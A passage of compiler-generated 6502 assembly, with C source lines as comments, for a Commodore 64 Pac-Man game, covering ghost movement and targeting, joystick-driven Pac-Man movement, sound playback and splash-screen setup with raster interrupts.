beq !__b50+
jmp __b50
!__b50:
// pacman_wins = 1
lda #1
sta.z pacman_wins
jmp __b50
__b46:
// if(ghosts_mode_count>150)
lda.z ghosts_mode_count
cmp #$96+1
bcs !__b9+
jmp __b9
!__b9:
// ghosts_mode = SCATTER
lda #SCATTER
sta.z ghosts_mode
// ghosts_mode_count = 0
lda #0
sta.z ghosts_mode_count
jmp __b8
__b45:
// if(ghosts_mode_count>50)
lda.z ghosts_mode_count
cmp #$32+1
bcs !__b9+
jmp __b9
!__b9:
// ghosts_mode = CHASE
lda #CHASE
sta.z ghosts_mode
// ghosts_mode_count = 0
lda #0
sta.z ghosts_mode_count
jmp __b8
__b6:
// if(ghost4_respawn)
// Ghost spawn timer
lda.z ghost4_respawn
beq !__b72+
jmp __b72
!__b72:
// if(ghost4_direction==RIGHT)
// Move in the current direction (unless he is stopped)
lda #RIGHT
cmp.z ghost4_direction
bne !__b73+
jmp __b73
!__b73:
// if(ghost4_direction==DOWN)
lda #DOWN
cmp.z ghost4_direction
bne !__b74+
jmp __b74
!__b74:
// if(ghost4_direction==LEFT)
lda #LEFT
cmp.z ghost4_direction
bne !__b75+
jmp __b75
!__b75:
// if(ghost4_direction==UP)
lda #UP
cmp.z ghost4_direction
bne __b76
// --ghost4_yfine;
dec.z ghost4_yfine
__b76:
// ghost4_direction!=STOP
ldx.z ghost4_direction
// if(ghost4_substep==0 && ghost4_direction!=STOP)
lda.z ghost4_substep
bne __b82
cpx #STOP
bne __b77
__b82:
// ghost4_substep = 0
// Ghost is on a tile
lda #0
sta.z ghost4_substep
// if(ghost4_reverse)
lda.z ghost4_reverse
bne __b78
// char ghost4_xtile = ghost4_xfine/2
// Examine open directions from the new tile to determine next action
lda.z ghost4_xfine
lsr
sta.z ghost4_xtile
// char ghost4_ytile = ghost4_yfine/2
lda.z ghost4_yfine
lsr
sta.z ghost4_ytile
// char open_directions = level_tile_directions(ghost4_xtile, ghost4_ytile)
ldx.z ghost4_xtile
jsr level_tile_directions
// char open_directions = level_tile_directions(ghost4_xtile, ghost4_ytile)
// open_directions &= DIRECTION_ELIMINATE[ghost4_direction]
// Eliminate the direction ghost came from
ldy.z ghost4_direction
and DIRECTION_ELIMINATE,y
tay
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
beq __b79
// if(ghosts_mode==SCATTER)
lda #SCATTER
cmp.z ghosts_mode
beq __b10
// target_xtile = pacman_xfine/2
lda.z pacman_xfine
lsr
tax
// target_ytile = pacman_yfine/2
lda.z pacman_yfine
lsr
sta.z target_ytile
jmp __b80
__b10:
lda #2
sta.z target_ytile
tax
__b80:
// choose_direction( open_directions, ghost4_xtile, ghost4_ytile, target_xtile, target_ytile )
sty.z choose_direction.open_directions
ldy.z ghost4_xtile
lda.z ghost4_ytile
sta.z choose_direction.ghost_ytile
jsr choose_direction
// choose_direction( open_directions, ghost4_xtile, ghost4_ytile, target_xtile, target_ytile )
lda.z choose_direction.return
// ghost4_direction = choose_direction( open_directions, ghost4_xtile, ghost4_ytile, target_xtile, target_ytile )
sta.z ghost4_direction
rts
__b79:
// ghost4_direction = DIRECTION_SINGLE[open_directions]
// Choose a random direction between the open directions
lda DIRECTION_SINGLE,y
sta.z ghost4_direction
rts
__b78:
// ghost4_direction = DIRECTION_REVERSE[ghost4_direction]
// If we are changing between scatter & chase then reverse the direction
ldy.z ghost4_direction
lda DIRECTION_REVERSE,y
sta.z ghost4_direction
// ghost4_reverse = 0
lda #0
sta.z ghost4_reverse
rts
__b77:
// ghost4_substep = 1
// Ghost was on a tile and is moving, so he is now between tiles
lda #1
sta.z ghost4_substep
// if(ghost4_xfine==1)
// Teleport if we are in the magic positions
cmp.z ghost4_xfine
beq __b81
// if(ghost4_xfine==97)
lda #$61
cmp.z ghost4_xfine
beq !__breturn+
jmp __breturn
!__breturn:
// ghost4_xfine = 1
lda #1
sta.z ghost4_xfine
rts
__b81:
// ghost4_xfine = 97
lda #$61
sta.z ghost4_xfine
rts
__b75:
// --ghost4_xfine;
dec.z ghost4_xfine
jmp __b76
__b74:
// ++ghost4_yfine;
inc.z ghost4_yfine
jmp __b76
__b73:
// ++ghost4_xfine;
inc.z ghost4_xfine
jmp __b76
__b72:
// if(--ghost4_respawn==0)
dec.z ghost4_respawn
lda.z ghost4_respawn
beq !__breturn+
jmp __breturn
!__breturn:
// ghost4_direction = RIGHT
// Spawn ghost
lda #RIGHT
sta.z ghost4_direction
// ghost4_xfine = 2
lda #2
sta.z ghost4_xfine
// ghost4_yfine = 2
sta.z ghost4_yfine
// ghost4_substep = 0
lda #0
sta.z ghost4_substep
rts
__b5:
// if(ghost3_respawn)
// Ghost spawn timer
lda.z ghost3_respawn
beq !__b89+
jmp __b89
!__b89:
// if(ghost3_direction==RIGHT)
// Move in the current direction (unless he is stopped)
lda #RIGHT
cmp.z ghost3_direction
bne !__b90+
jmp __b90
!__b90:
// if(ghost3_direction==DOWN)
lda #DOWN
cmp.z ghost3_direction
bne !__b91+
jmp __b91
!__b91:
// if(ghost3_direction==LEFT)
lda #LEFT
cmp.z ghost3_direction
bne !__b92+
jmp __b92
!__b92:
// if(ghost3_direction==UP)
lda #UP
cmp.z ghost3_direction
bne __b93
// --ghost3_yfine;
dec.z ghost3_yfine
__b93:
// ghost3_direction!=STOP
ldx.z ghost3_direction
// if(ghost3_substep==0 && ghost3_direction!=STOP)
lda.z ghost3_substep
bne __b99
cpx #STOP
bne __b94
__b99:
// ghost3_substep = 0
// Ghost is on a tile
lda #0
sta.z ghost3_substep
// if(ghost3_reverse)
lda.z ghost3_reverse
bne __b95
// char ghost3_xtile = ghost3_xfine/2
// Examine open directions from the new tile to determine next action
lda.z ghost3_xfine
lsr
sta.z ghost3_xtile
// char ghost3_ytile = ghost3_yfine/2
lda.z ghost3_yfine
lsr
sta.z ghost3_ytile
// char open_directions = level_tile_directions(ghost3_xtile, ghost3_ytile)
ldx.z ghost3_xtile
jsr level_tile_directions
// char open_directions = level_tile_directions(ghost3_xtile, ghost3_ytile)
// open_directions &= DIRECTION_ELIMINATE[ghost3_direction]
// Eliminate the direction ghost came from
ldy.z ghost3_direction
and DIRECTION_ELIMINATE,y
tay
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
beq __b96
// if(ghosts_mode==SCATTER)
lda #SCATTER
cmp.z ghosts_mode
beq __b11
// target_xtile = pacman_xfine/2
lda.z pacman_xfine
lsr
tax
// target_ytile = pacman_yfine/2
lda.z pacman_yfine
lsr
sta.z target_ytile1
jmp __b97
__b11:
lda #2
sta.z target_ytile1
tax
__b97:
// choose_direction( open_directions, ghost3_xtile, ghost3_ytile, target_xtile, target_ytile )
sty.z choose_direction.open_directions
ldy.z ghost3_xtile
lda.z ghost3_ytile
sta.z choose_direction.ghost_ytile
jsr choose_direction
// choose_direction( open_directions, ghost3_xtile, ghost3_ytile, target_xtile, target_ytile )
lda.z choose_direction.return
// ghost3_direction = choose_direction( open_directions, ghost3_xtile, ghost3_ytile, target_xtile, target_ytile )
sta.z ghost3_direction
rts
__b96:
// ghost3_direction = DIRECTION_SINGLE[open_directions]
// Choose a random direction between the open directions
lda DIRECTION_SINGLE,y
sta.z ghost3_direction
rts
__b95:
// ghost3_direction = DIRECTION_REVERSE[ghost3_direction]
// If we are changing between scatter & chase then reverse the direction
ldy.z ghost3_direction
lda DIRECTION_REVERSE,y
sta.z ghost3_direction
// ghost3_reverse = 0
lda #0
sta.z ghost3_reverse
rts
__b94:
// ghost3_substep = 1
// Ghost was on a tile and is moving, so he is now between tiles
lda #1
sta.z ghost3_substep
// if(ghost3_xfine==1)
// Teleport if we are in the magic positions
cmp.z ghost3_xfine
beq __b98
// if(ghost3_xfine==97)
lda #$61
cmp.z ghost3_xfine
beq !__breturn+
jmp __breturn
!__breturn:
// ghost3_xfine = 1
lda #1
sta.z ghost3_xfine
rts
__b98:
// ghost3_xfine = 97
lda #$61
sta.z ghost3_xfine
rts
__b92:
// --ghost3_xfine;
dec.z ghost3_xfine
jmp __b93
__b91:
// ++ghost3_yfine;
inc.z ghost3_yfine
jmp __b93
__b90:
// ++ghost3_xfine;
inc.z ghost3_xfine
jmp __b93
__b89:
// if(--ghost3_respawn==0)
dec.z ghost3_respawn
lda.z ghost3_respawn
beq !__breturn+
jmp __breturn
!__breturn:
// ghost3_direction = UP
// Spawn ghost
lda #UP
sta.z ghost3_direction
// ghost3_xfine = 2
lda #2
sta.z ghost3_xfine
// ghost3_yfine = 70
lda #$46
sta.z ghost3_yfine
// ghost3_substep = 0
lda #0
sta.z ghost3_substep
rts
__b4:
// if(ghost2_respawn)
// Ghost spawn timer
lda.z ghost2_respawn
beq !__b106+
jmp __b106
!__b106:
// if(ghost2_direction==RIGHT)
// Move in the current direction (unless he is stopped)
lda #RIGHT
cmp.z ghost2_direction
bne !__b107+
jmp __b107
!__b107:
// if(ghost2_direction==DOWN)
lda #DOWN
cmp.z ghost2_direction
bne !__b108+
jmp __b108
!__b108:
// if(ghost2_direction==LEFT)
lda #LEFT
cmp.z ghost2_direction
bne !__b109+
jmp __b109
!__b109:
// if(ghost2_direction==UP)
lda #UP
cmp.z ghost2_direction
bne __b110
// --ghost2_yfine;
dec.z ghost2_yfine
__b110:
// ghost2_direction!=STOP
ldx.z ghost2_direction
// if(ghost2_substep==0 && ghost2_direction!=STOP)
lda.z ghost2_substep
bne __b116
cpx #STOP
bne __b111
__b116:
// ghost2_substep = 0
// Ghost is on a tile
lda #0
sta.z ghost2_substep
// if(ghost2_reverse)
lda.z ghost2_reverse
bne __b112
// char ghost2_xtile = ghost2_xfine/2
// Examine open directions from the new tile to determine next action
lda.z ghost2_xfine
lsr
sta.z ghost2_xtile
// char ghost2_ytile = ghost2_yfine/2
lda.z ghost2_yfine
lsr
sta.z ghost2_ytile
// char open_directions = level_tile_directions(ghost2_xtile, ghost2_ytile)
ldx.z ghost2_xtile
jsr level_tile_directions
// char open_directions = level_tile_directions(ghost2_xtile, ghost2_ytile)
// open_directions &= DIRECTION_ELIMINATE[ghost2_direction]
// Eliminate the direction ghost came from
ldy.z ghost2_direction
and DIRECTION_ELIMINATE,y
tay
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
beq __b113
// if(ghosts_mode==SCATTER)
lda #SCATTER
cmp.z ghosts_mode
beq __b12
// target_xtile = pacman_xfine/2
lda.z pacman_xfine
lsr
tax
// target_ytile = pacman_yfine/2
lda.z pacman_yfine
lsr
sta.z target_ytile2
jmp __b114
__b12:
lda #2
sta.z target_ytile2
tax
__b114:
// choose_direction( open_directions, ghost2_xtile, ghost2_ytile, target_xtile, target_ytile )
sty.z choose_direction.open_directions
ldy.z ghost2_xtile
lda.z ghost2_ytile
sta.z choose_direction.ghost_ytile
jsr choose_direction
// choose_direction( open_directions, ghost2_xtile, ghost2_ytile, target_xtile, target_ytile )
lda.z choose_direction.return
// ghost2_direction = choose_direction( open_directions, ghost2_xtile, ghost2_ytile, target_xtile, target_ytile )
sta.z ghost2_direction
rts
__b113:
// ghost2_direction = DIRECTION_SINGLE[open_directions]
// Choose a random direction between the open directions
lda DIRECTION_SINGLE,y
sta.z ghost2_direction
rts
__b112:
// ghost2_direction = DIRECTION_REVERSE[ghost2_direction]
// If we are changing between scatter & chase then reverse the direction
ldy.z ghost2_direction
lda DIRECTION_REVERSE,y
sta.z ghost2_direction
// ghost2_reverse = 0
lda #0
sta.z ghost2_reverse
rts
__b111:
// ghost2_substep = 1
// Ghost was on a tile and is moving, so he is now between tiles
lda #1
sta.z ghost2_substep
// if(ghost2_xfine==1)
// Teleport if we are in the magic positions
cmp.z ghost2_xfine
beq __b115
// if(ghost2_xfine==97)
lda #$61
cmp.z ghost2_xfine
beq !__breturn+
jmp __breturn
!__breturn:
// ghost2_xfine = 1
lda #1
sta.z ghost2_xfine
rts
__b115:
// ghost2_xfine = 97
lda #$61
sta.z ghost2_xfine
rts
__b109:
// --ghost2_xfine;
dec.z ghost2_xfine
jmp __b110
__b108:
// ++ghost2_yfine;
inc.z ghost2_yfine
jmp __b110
__b107:
// ++ghost2_xfine;
inc.z ghost2_xfine
jmp __b110
__b106:
// if(--ghost2_respawn==0)
dec.z ghost2_respawn
lda.z ghost2_respawn
beq !__breturn+
jmp __breturn
!__breturn:
// ghost2_direction = LEFT
// Spawn ghost
lda #LEFT
sta.z ghost2_direction
// ghost2_xfine = 96
lda #$60
sta.z ghost2_xfine
// ghost2_yfine = 70
lda #$46
sta.z ghost2_yfine
// ghost2_substep = 0
lda #0
sta.z ghost2_substep
rts
__b3:
// if(ghost1_respawn)
// Ghost spawn timer
lda.z ghost1_respawn
beq !__b123+
jmp __b123
!__b123:
// if(ghost1_direction==RIGHT)
// Ghost 1 animation
// Move in the current direction (unless he is stopped)
lda #RIGHT
cmp.z ghost1_direction
bne !__b124+
jmp __b124
!__b124:
// if(ghost1_direction==DOWN)
lda #DOWN
cmp.z ghost1_direction
bne !__b125+
jmp __b125
!__b125:
// if(ghost1_direction==LEFT)
lda #LEFT
cmp.z ghost1_direction
bne !__b126+
jmp __b126
!__b126:
// if(ghost1_direction==UP)
lda #UP
cmp.z ghost1_direction
bne __b127
// --ghost1_yfine;
dec.z ghost1_yfine
__b127:
// ghost1_direction!=STOP
ldx.z ghost1_direction
// if(ghost1_substep==0 && ghost1_direction!=STOP)
lda.z ghost1_substep
bne __b133
cpx #STOP
bne __b128
__b133:
// ghost1_substep = 0
// Ghost is on a tile
lda #0
sta.z ghost1_substep
// if(ghost1_reverse)
lda.z ghost1_reverse
bne __b129
// char ghost1_xtile = ghost1_xfine/2
// Examine open directions from the new tile to determine next action
lda.z ghost1_xfine
lsr
sta.z ghost1_xtile
// char ghost1_ytile = ghost1_yfine/2
lda.z ghost1_yfine
lsr
sta.z ghost1_ytile
// char open_directions = level_tile_directions(ghost1_xtile, ghost1_ytile)
ldx.z ghost1_xtile
jsr level_tile_directions
// char open_directions = level_tile_directions(ghost1_xtile, ghost1_ytile)
// open_directions &= DIRECTION_ELIMINATE[ghost1_direction]
// Eliminate the direction ghost came from
ldy.z ghost1_direction
and DIRECTION_ELIMINATE,y
tay
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
beq __b130
// if(ghosts_mode==SCATTER)
lda #SCATTER
cmp.z ghosts_mode
beq __b13
// target_xtile = pacman_xfine/2
lda.z pacman_xfine
lsr
tax
// target_ytile = pacman_yfine/2
lda.z pacman_yfine
lsr
sta.z target_ytile3
jmp __b131
__b13:
lda #2
sta.z target_ytile3
tax
__b131:
// choose_direction( open_directions, ghost1_xtile, ghost1_ytile, target_xtile, target_ytile )
sty.z choose_direction.open_directions
ldy.z ghost1_xtile
lda.z ghost1_ytile
sta.z choose_direction.ghost_ytile
jsr choose_direction
// choose_direction( open_directions, ghost1_xtile, ghost1_ytile, target_xtile, target_ytile )
lda.z choose_direction.return
// ghost1_direction = choose_direction( open_directions, ghost1_xtile, ghost1_ytile, target_xtile, target_ytile )
sta.z ghost1_direction
rts
__b130:
// ghost1_direction = DIRECTION_SINGLE[open_directions]
// Choose a random direction between the open directions
lda DIRECTION_SINGLE,y
sta.z ghost1_direction
rts
__b129:
// ghost1_direction = DIRECTION_REVERSE[ghost1_direction]
// If we are changing between scatter & chase then reverse the direction
ldy.z ghost1_direction
lda DIRECTION_REVERSE,y
sta.z ghost1_direction
// ghost1_reverse = 0
lda #0
sta.z ghost1_reverse
rts
__b128:
// ghost1_substep = 1
// Ghost was on a tile and is moving, so he is now between tiles
lda #1
sta.z ghost1_substep
// if(ghost1_xfine==1)
// Teleport if we are in the magic positions
cmp.z ghost1_xfine
beq __b132
// if(ghost1_xfine==97)
lda #$61
cmp.z ghost1_xfine
beq !__breturn+
jmp __breturn
!__breturn:
// ghost1_xfine = 1
lda #1
sta.z ghost1_xfine
rts
__b132:
// ghost1_xfine = 97
lda #$61
sta.z ghost1_xfine
rts
__b126:
// --ghost1_xfine;
dec.z ghost1_xfine
jmp __b127
__b125:
// ++ghost1_yfine;
inc.z ghost1_yfine
jmp __b127
__b124:
// ++ghost1_xfine;
inc.z ghost1_xfine
jmp __b127
__b123:
// if(--ghost1_respawn==0)
dec.z ghost1_respawn
lda.z ghost1_respawn
beq !__breturn+
jmp __breturn
!__breturn:
// ghost1_direction = DOWN
// Spawn ghost 1
lda #DOWN
sta.z ghost1_direction
// ghost1_xfine = 96
lda #$60
sta.z ghost1_xfine
// ghost1_yfine = 2
lda #2
sta.z ghost1_yfine
// ghost1_substep = 0
lda #0
sta.z ghost1_substep
rts
__b2:
// if(pacman_direction==RIGHT)
// Animate pacman
// Move pacman in the current direction (unless he is stopped)
lda #RIGHT
cmp.z pacman_direction
beq __b140
// if(pacman_direction==DOWN)
lda #DOWN
cmp.z pacman_direction
beq __b141
// if(pacman_direction==LEFT)
lda #LEFT
cmp.z pacman_direction
beq __b142
// if(pacman_direction==UP)
lda #UP
cmp.z pacman_direction
bne __b143
// --pacman_yfine;
dec.z pacman_yfine
__b143:
// pacman_direction!=STOP
ldx.z pacman_direction
// if(pacman_substep==0 && pacman_direction!=STOP)
lda.z pacman_substep
bne __b147
cpx #STOP
bne __b144
__b147:
// pacman_substep = 0
// Pacman is on a (new) tile
lda #0
sta.z pacman_substep
// char pacman_xtile = pacman_xfine/2
// Examine open directions from the new tile to determine next action
lda.z pacman_xfine
lsr
tax
// char pacman_ytile = pacman_yfine/2
lda.z pacman_yfine
lsr
// char open_directions = level_tile_directions(pacman_xtile, pacman_ytile)
jsr level_tile_directions
// char open_directions = level_tile_directions(pacman_xtile, pacman_ytile)
tax
// CIA1->PORT_A & 0x0f
lda #$f
and CIA1
// (CIA1->PORT_A & 0x0f)^0x0f
eor #$f
// char joy_directions = ((CIA1->PORT_A & 0x0f)^0x0f)*4
// Read joystick#2 - arrange bits to match DIRECTION
asl
asl
// if(joy_directions!=0)
cmp #0
beq __b145
// joy_directions&open_directions
stx.z $ff
and.z $ff
// char new_direction = DIRECTION_SINGLE[joy_directions&open_directions]
tay
lda DIRECTION_SINGLE,y
// if(new_direction!=0)
cmp #0
beq __b145
// pacman_direction = new_direction
sta.z pacman_direction
__b145:
// pacman_direction &= open_directions
// Stop pacman if the current direction is no longer open
lda.z pacman_direction
sax.z pacman_direction
rts
__b144:
// pacman_substep = 1
// Pacman was on a tile and is moving, so he is now between tiles
lda #1
sta.z pacman_substep
// pacman_ch1_enabled = 1
// Enable the eating sound whenever pacman is moving
sta.z pacman_ch1_enabled
// if(pacman_xfine==1)
// Teleport if we are in the magic positions
cmp.z pacman_xfine
beq __b146
// if(pacman_xfine==97)
lda #$61
cmp.z pacman_xfine
beq !__breturn+
jmp __breturn
!__breturn:
// pacman_xfine = 1
lda #1
sta.z pacman_xfine
rts
__b146:
// pacman_xfine = 97
lda #$61
sta.z pacman_xfine
rts
__b142:
// --pacman_xfine;
dec.z pacman_xfine
jmp __b143
__b141:
// ++pacman_yfine;
inc.z pacman_yfine
jmp __b143
__b140:
// ++pacman_xfine;
inc.z pacman_xfine
jmp __b143
}
pacman_sound_play: {
// if(pacman_ch1_enabled)
lda.z pacman_ch1_enabled
beq __breturn
// *SID_CH1_FREQ_HI = PACMAN_CH1_FREQ_HI[pacman_ch1_idx]
// Play the entire sound - and then reset and disable it
ldy.z pacman_ch1_idx
lda PACMAN_CH1_FREQ_HI,y
sta SID_CH1_FREQ_HI
// SID->CH1_CONTROL = PACMAN_CH1_CONTROL[pacman_ch1_idx]
lda PACMAN_CH1_CONTROL,y
sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_CONTROL
// if(++pacman_ch1_idx==sizeof(PACMAN_CH1_FREQ_HI))
inc.z pacman_ch1_idx
lda #$16*SIZEOF_CHAR
cmp.z pacman_ch1_idx
bne __breturn
// pacman_ch1_idx = 0
lda #0
sta.z pacman_ch1_idx
// pacman_ch1_enabled = 0
sta.z pacman_ch1_enabled
__breturn:
// }
rts
}
// Initializes all data for the splash and shows the splash.
// Returns when the splash is complete and the user clicks the joystidk #2 button
splash_run: {
.const toDd001_return = 3^(>SCREENS_1)/$40
.const toD0181_return = 0
.label xpos = 5
.label i = $14
// asm
sei
// CIA1->INTERRUPT = CIA_INTERRUPT_CLEAR
// Disable CIA 1 Timer IRQ
lda #CIA_INTERRUPT_CLEAR
sta CIA1+OFFSET_STRUCT_MOS6526_CIA_INTERRUPT
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Disable kernal & basic & IO
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_ALL
lda #PROCPORT_RAM_ALL
sta.z PROCPORT
// memset((char*)0x4000, 0, 0xc00)
// Reset memory to avoid crashes
lda #<$4000
sta.z memset.str
lda #>$4000
sta.z memset.str+1
lda #<$c00
sta.z memset.num
lda #>$c00
sta.z memset.num+1
jsr memset
// byteboozer_decrunch(RASTER_CODE_CRUNCHED)
lda #<RASTER_CODE_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>RASTER_CODE_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// Decrunch raster code
jsr byteboozer_decrunch
// byteboozer_decrunch(LOGIC_CODE_CRUNCHED)
lda #<LOGIC_CODE_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>LOGIC_CODE_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// Decrunch logic code
jsr byteboozer_decrunch
// merge_code(RASTER_CODE, RASTER_CODE_UNMERGED, LOGIC_CODE_UNMERGED)
// Merge the raster with the logic-code
jsr merge_code
// memset(BANK_1+0x2000, 0x00, 0x1fff)
// Clear the graphics banks
lda #<BANK_1+$2000
sta.z memset.str
lda #>BANK_1+$2000
sta.z memset.str+1
lda #<$1fff
sta.z memset.num
lda #>$1fff
sta.z memset.num+1
jsr memset
// memset(BANK_2, 0x00, 0x3fff)
lda #<BANK_2
sta.z memset.str
lda #>BANK_2
sta.z memset.str+1
lda #<$3fff
sta.z memset.num
lda #>$3fff
sta.z memset.num+1
jsr memset
// init_render_index()
// Initialize the renderer tables
jsr init_render_index
// byteboozer_decrunch(SPLASH_CRUNCHED)
lda #<SPLASH_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>SPLASH_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// decrunch splash screen
jsr byteboozer_decrunch
// splash_show()
// Show the splash screen
jsr splash_show
// memset(BANK_1, 0x00, 0x1fff)
// Clear the graphics bank
lda #<BANK_1
sta.z memset.str
lda #>BANK_1
sta.z memset.str+1
lda #<$1fff
sta.z memset.num
lda #>$1fff
sta.z memset.num+1
jsr memset
// init_bobs_restore()
// Initialize bobs_restore to "safe" values
jsr init_bobs_restore
// byteboozer_decrunch(BOB_GRAPHICS_CRUNCHED)
lda #<BOB_GRAPHICS_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>BOB_GRAPHICS_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// decrunch bobs graphics tables
jsr byteboozer_decrunch
// init_sprite_pointers()
// Set sprite pointers on all screens (in both graphics banks)
jsr init_sprite_pointers
// memcpy(INTRO_MUSIC_CRUNCHED_UPPER, INTRO_MUSIC_CRUNCHED, INTRO_MUSIC_CRUNCHED_SIZE)
// Move the crunched music to upper memory before decrunching it
jsr memcpy
// byteboozer_decrunch(INTRO_MUSIC_CRUNCHED_UPPER)
lda #<INTRO_MUSIC_CRUNCHED_UPPER
sta.z byteboozer_decrunch.crunched
lda #>INTRO_MUSIC_CRUNCHED_UPPER
sta.z byteboozer_decrunch.crunched+1
// zero-fill the entire Init segment
//memset(LEVEL_TILES_CRUNCHED, 0, INTRO_MUSIC_CRUNCHED+INTRO_MUSIC_CRUNCHED_SIZE-LEVEL_TILES_CRUNCHED);
// decrunch intro music
jsr byteboozer_decrunch
// memset(INTRO_MUSIC_CRUNCHED_UPPER, 0, INTRO_MUSIC_CRUNCHED_SIZE)
// Zero-fill the upper memory
lda #<INTRO_MUSIC_CRUNCHED_UPPER
sta.z memset.str
lda #>INTRO_MUSIC_CRUNCHED_UPPER
sta.z memset.str+1
lda #<INTRO_MUSIC_CRUNCHED_SIZE
sta.z memset.num
lda #>INTRO_MUSIC_CRUNCHED_SIZE
sta.z memset.num+1
jsr memset
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Disable kernal & basic - enable IO
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_IO
lda #PROCPORT_RAM_IO
sta.z PROCPORT
ldx #0
txa
sta.z i
__b2:
// for(char i=0;i<8;i++)
lda.z i
cmp #8
bcs !__b3+
jmp __b3
!__b3:
// CIA2->PORT_A = toDd00(SCREENS_1)
// Set initial graphics bank
lda #toDd001_return
sta CIA2
// canvas_base_hi = BYTE1(SPRITES_2)
// Set initial render/restore buffer
lda #>SPRITES_2
sta.z canvas_base_hi
// bobs_restore_base = NUM_BOBS*SIZE_BOB_RESTORE
lda #NUM_BOBS*SIZE_BOB_RESTORE
sta.z bobs_restore_base
// VICII->MEMORY = toD018(SCREENS_1, SCREENS_1)
// Select first screen
lda #toD0181_return
sta VICII+OFFSET_STRUCT_MOS6569_VICII_MEMORY
// VICII->SPRITES_XMSB = msb
stx VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_XMSB
// VICII->SPRITES_ENABLE = 0xff
lda #$ff
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_ENABLE
// VICII->SPRITES_EXPAND_X = 0xff
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_EXPAND_X
// VICII->BORDER_COLOR = BLACK
lda #BLACK
sta VICII+OFFSET_STRUCT_MOS6569_VICII_BORDER_COLOR
// VICII->BG_COLOR = BLACK
sta VICII+OFFSET_STRUCT_MOS6569_VICII_BG_COLOR
// VICII->SPRITES_MCOLOR1 = BLUE
lda #BLUE
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1
// VICII->SPRITES_MCOLOR2 = RED
lda #RED
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2
// top_sprites_mc = 0x03
// On the splash screen sprites all sprites are SC - except sprite #0,1 on the top/bottom of the screen
lda #3
sta.z top_sprites_mc
// side_sprites_mc = 0x00
lda #0
sta.z side_sprites_mc
// bottom_sprites_mc = 0x03
lda #3
sta.z bottom_sprites_mc
// top_sprites_color = YELLOW
// On the splash top/bottom sc-sprites are yellow and side-sprites are blue
lda #YELLOW
sta.z top_sprites_color
// side_sprites_color = BLUE
lda #BLUE
sta.z side_sprites_color
// bottom_sprites_color = YELLOW
lda #YELLOW
sta.z bottom_sprites_color
// VICII->SPRITES_MC = top_sprites_mc
// Set the initial top colors/MC
lda.z top_sprites_mc
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC
ldx #0
// Set initial Sprite Color
__b6:
// for(char i=0;i<8;i++)
cpx #8
bcc __b7
// VICII->CONTROL2 = 0x08
// Set VICII CONTROL2 ($d016) to 8 to allow ASL, LSR to be used for opening the border
lda #8
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL2
ldx #0
// Move the bobs to the center to avoid interference while rendering the level
__b9:
// for(char i=0;i<4;i++)
cpx #4
bcc __b10
// asm
// Disable SID CH#3
lda #1
sta INTRO_MUSIC+$69
// Init music
lda #0
// (*musicInit)()
jsr musicInit
// phase = 0
// Set phase to intro
lda #0
sta.z phase
// VICII->CONTROL1 = VICII_RSEL|VICII_DEN|VICII_ECM|VICII_BMM
// Start a hyperscreen with no badlines and open borders
// Set screen height to 25 lines (preparing for the hyperscreen), enable display
// Set an illegal mode to prevent any character graphics
lda #VICII_RSEL|VICII_DEN|VICII_ECM|VICII_BMM
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
// Wait for line 0xfa (lower border)
__b12:
// while(VICII->RASTER!=0xfa)
lda #$fa
cmp VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER
bne __b12
// VICII->CONTROL1 &= ~(VICII_RST8|VICII_RSEL|VICII_DEN)
// Open lower/upper border using RSEL - and disable all graphics (except sprites)
// Set up RASTER IRQ to start at irq_screen_top() (RST8=0)
lda #(VICII_RST8|VICII_RSEL|VICII_DEN)^$ff
and VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
// VICII->RASTER = IRQ_SCREEN_TOP_LINE
lda #IRQ_SCREEN_TOP_LINE
sta VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER
// *HARDWARE_IRQ = &irq_screen_top
lda #<irq_screen_top
sta HARDWARE_IRQ
lda #>irq_screen_top
sta HARDWARE_IRQ+1
// VICII->IRQ_ENABLE = IRQ_RASTER
// Enable Raster Interrupt
lda #IRQ_RASTER
sta VICII+OFFSET_STRUCT_MOS6569_VICII_IRQ_ENABLE
// asm
// Acknowledge any timer IRQ
lda CIA1_INTERRUPT
// *IRQ_STATUS = 0x0f
// Acknowledge any VIC IRQ
lda #$f
sta IRQ_STATUS
// asm
cli
// joyinit()
// Prepare for joystick control
jsr joyinit
// music_play_next = 0
// Wait for fire
lda #0
sta.z music_play_next
__b14:
// joyfire()
jsr joyfire
// while(!joyfire())
cmp #0
beq __b15
// }
rts
__b15:
// if(music_play_next)
lda.z music_play_next
beq __b14
// (*musicPlay)()
//VICII->BG_COLOR=1;
jsr musicPlay
// music_play_next = 0
//VICII->BG_COLOR=0;
lda #0
sta.z music_play_next
jmp __b14
__b10:
// bobs_xcol[i] = 10
lda #$a
sta bobs_xcol,x
// bobs_yfine[i] = 45
lda #$2d
